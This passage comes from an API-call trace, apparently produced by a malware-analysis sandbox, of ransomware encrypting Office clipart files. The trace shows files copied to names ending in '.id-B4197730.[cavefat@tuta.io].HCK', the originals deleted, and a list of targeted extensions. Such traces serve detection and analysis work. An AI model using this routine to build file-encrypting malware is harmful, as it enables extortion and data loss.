office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0162.383] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.383] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0162.383] GetLastError () returned 0x0 [0162.384] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x15b0, lpOverlapped=0x0) returned 1 [0162.385] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x15c0, lpOverlapped=0x0) returned 1 [0162.386] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.386] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.386] SetEndOfFile (hFile=0x30c) returned 1 [0162.386] CloseHandle (hObject=0x30c) returned 1 [0162.387] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.387] SetEndOfFile (hFile=0x360) returned 1 [0162.387] CloseHandle (hObject=0x360) returned 1 [0162.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0162.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0162.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0162.388] lstrlenW (lpString=".doc") returned 4 [0162.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.388] lstrlenW (lpString=".docx") returned 5 [0162.388] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.388] lstrlenW (lpString=".pdf") returned 4 [0162.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.388] lstrlenW (lpString=".xls") returned 4 [0162.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.388] lstrlenW (lpString=".xlsx") returned 5 [0162.388] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.388] lstrlenW (lpString=".ppt") returned 4 [0162.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0162.388] lstrlenW (lpString=".zip") returned 4 [0162.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.388] lstrlenW (lpString=".rar") returned 4 [0162.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.388] lstrlenW (lpString=".bz2") returned 4 [0162.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.388] lstrlenW (lpString=".7z") returned 3 [0162.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0162.389] lstrlenW (lpString=".dbf") returned 4 [0162.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0162.389] lstrlenW (lpString=".1cd") returned 4 [0162.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0162.389] lstrlenW (lpString=".jpg") returned 4 [0162.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0162.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0162.389] lstrlenW (lpString=".doc") returned 4 [0162.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.389] lstrlenW (lpString=".docx") returned 5 [0162.389] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.389] lstrlenW (lpString=".pdf") returned 4 [0162.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.389] lstrlenW (lpString=".xls") returned 4 [0162.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.389] lstrlenW (lpString=".xlsx") returned 5 [0162.389] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.389] lstrlenW (lpString=".ppt") returned 4 [0162.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0162.389] lstrlenW (lpString=".zip") returned 4 [0162.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.389] lstrlenW (lpString=".rar") returned 4 [0162.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.389] lstrlenW (lpString=".bz2") returned 4 [0162.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.389] lstrlenW (lpString=".7z") returned 3 [0162.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0162.389] lstrlenW (lpString=".dbf") returned 4 [0162.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0162.389] lstrlenW (lpString=".1cd") returned 4 [0162.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0162.389] lstrlenW (lpString=".jpg") returned 4 [0162.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.389] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.389] lstrlenW (lpString="HH02312_.WMF") returned 12 [0162.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0162.390] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4970) returned 1 [0162.390] CloseHandle (hObject=0x360) returned 1 [0162.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220 [0162.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0162.390] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.390] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0162.390] GetLastError () returned 0x0 [0162.390] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x136a, lpOverlapped=0x0) returned 1 [0162.392] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1370, lpOverlapped=0x0) returned 1 [0162.392] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.392] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.393] SetEndOfFile (hFile=0x30c) returned 1 [0162.393] CloseHandle (hObject=0x30c) returned 1 [0162.394] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.394] SetEndOfFile (hFile=0x360) returned 1 [0162.395] CloseHandle (hObject=0x360) returned 1 [0162.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0162.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0162.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0162.396] lstrlenW (lpString=".doc") returned 4 [0162.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.396] lstrlenW (lpString=".docx") returned 5 [0162.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.396] lstrlenW (lpString=".pdf") returned 4 [0162.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.396] lstrlenW (lpString=".xls") returned 4 [0162.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.396] lstrlenW (lpString=".xlsx") returned 5 [0162.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.396] lstrlenW (lpString=".ppt") returned 4 [0162.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0162.396] lstrlenW (lpString=".zip") returned 4 [0162.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.396] lstrlenW (lpString=".rar") returned 4 [0162.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.396] lstrlenW (lpString=".bz2") returned 4 [0162.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.396] lstrlenW (lpString=".7z") returned 3 [0162.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0162.396] lstrlenW (lpString=".dbf") returned 4 [0162.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0162.396] lstrlenW (lpString=".1cd") returned 4 [0162.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0162.396] lstrlenW (lpString=".jpg") returned 4 [0162.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0162.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0162.396] lstrlenW (lpString=".doc") returned 4 [0162.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.396] lstrlenW (lpString=".docx") returned 5 [0162.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.396] lstrlenW (lpString=".pdf") returned 4 [0162.397] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.397] lstrlenW (lpString=".xls") returned 4 [0162.397] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.397] lstrlenW (lpString=".xlsx") returned 5 [0162.397] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.397] lstrlenW (lpString=".ppt") returned 4 [0162.397] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0162.397] lstrlenW (lpString=".zip") returned 4 [0162.397] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.397] lstrlenW (lpString=".rar") returned 4 [0162.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.397] lstrlenW (lpString=".bz2") returned 4 [0162.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.397] lstrlenW (lpString=".7z") returned 3 [0162.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0162.397] lstrlenW (lpString=".dbf") returned 4 [0162.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0162.397] lstrlenW (lpString=".1cd") returned 4 [0162.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0162.397] lstrlenW (lpString=".jpg") returned 4 [0162.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.397] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.397] lstrlenW (lpString="HH02313_.WMF") returned 12 [0162.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0162.397] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3082) returned 1 [0162.398] CloseHandle (hObject=0x360) returned 1 [0162.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220 [0162.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0162.398] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.398] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0162.398] GetLastError () returned 0x0 [0162.398] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xc0a, lpOverlapped=0x0) returned 1 [0162.400] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xc10, lpOverlapped=0x0) returned 1 [0162.400] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.400] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.400] SetEndOfFile (hFile=0x30c) returned 1 [0162.401] CloseHandle (hObject=0x30c) returned 1 [0162.401] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.401] SetEndOfFile (hFile=0x360) returned 1 [0162.402] CloseHandle (hObject=0x360) returned 1 [0162.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0162.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0162.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0162.403] lstrlenW (lpString=".doc") returned 4 [0162.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.403] lstrlenW (lpString=".docx") returned 5 [0162.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.403] lstrlenW (lpString=".pdf") returned 4 [0162.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.403] lstrlenW (lpString=".xls") returned 4 [0162.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.403] lstrlenW (lpString=".xlsx") returned 5 [0162.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.403] lstrlenW (lpString=".ppt") returned 4 [0162.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0162.403] lstrlenW (lpString=".zip") returned 4 [0162.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.403] lstrlenW (lpString=".rar") returned 4 [0162.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.403] lstrlenW (lpString=".bz2") returned 4 [0162.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.403] lstrlenW (lpString=".7z") returned 3 [0162.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0162.403] lstrlenW (lpString=".dbf") returned 4 [0162.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0162.403] lstrlenW (lpString=".1cd") returned 4 [0162.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0162.403] lstrlenW (lpString=".jpg") returned 4 [0162.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0162.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0162.403] lstrlenW (lpString=".doc") returned 4 [0162.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.403] lstrlenW (lpString=".docx") returned 5 [0162.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.403] lstrlenW (lpString=".pdf") returned 4 [0162.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.403] lstrlenW (lpString=".xls") returned 4 [0162.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.403] lstrlenW (lpString=".xlsx") returned 5 [0162.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.403] lstrlenW (lpString=".ppt") returned 4 [0162.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0162.404] lstrlenW (lpString=".zip") returned 4 [0162.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.404] lstrlenW (lpString=".rar") returned 4 [0162.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.404] lstrlenW (lpString=".bz2") returned 4 [0162.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.404] lstrlenW (lpString=".7z") returned 3 [0162.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0162.404] lstrlenW (lpString=".dbf") returned 4 [0162.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0162.404] lstrlenW (lpString=".1cd") returned 4 [0162.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0162.404] lstrlenW (lpString=".jpg") returned 4 [0162.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.404] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.404] lstrlenW (lpString="HM00005_.WMF") returned 12 [0162.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0162.404] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=23300) returned 1 [0162.404] CloseHandle (hObject=0x360) returned 1 [0162.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220 [0162.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 